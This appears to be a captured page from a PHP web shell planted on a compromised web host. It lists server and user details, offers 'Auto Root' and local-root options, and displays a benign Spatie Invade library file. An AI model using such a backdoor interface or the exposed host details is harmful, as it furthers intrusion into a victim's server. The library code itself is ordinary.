Linux sg77.dns-private.com 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
LiteSpeed
Server IP : 135.181.230.13 & Your IP : 216.73.217.69
Domains :
Cant Read [ /etc/named.conf ]
User : pilasate
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
pilasate /
schoolms /
vendor /
spatie /
invade /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Invader.php
615
B
-rw-rw-rw-
2024-05-16 23:06
StaticInvader.php
1.04
KB
-rw-rw-rw-
2024-05-16 23:06
functions.php
441
B
-rw-rw-rw-
2024-05-16 23:06
Save
Rename
<?php namespace Spatie\Invade; use Exception; class StaticInvader { private ?string $method = null; /** * @param class-string $className */ public function __construct( public string $className, ) { } public function get(string $name): mixed { return (fn () => static::${$name})->bindTo(null, $this->className)(); } public function set(string $name, mixed $value): void { (fn ($value) => static::${$name} = $value)->bindTo(null, $this->className)($value); } public function method(string $name): self { $this->method = $name; return $this; } /** * @throws Exception */ public function call(...$params): mixed { if ($this->method === null) { throw new Exception( 'No method to be called. Use it like: invadeStatic(Foo::class)->method(\'bar\')->call()' ); } return (fn ($method) => static::{$method}(...$params))->bindTo(null, $this->className)($this->method); } }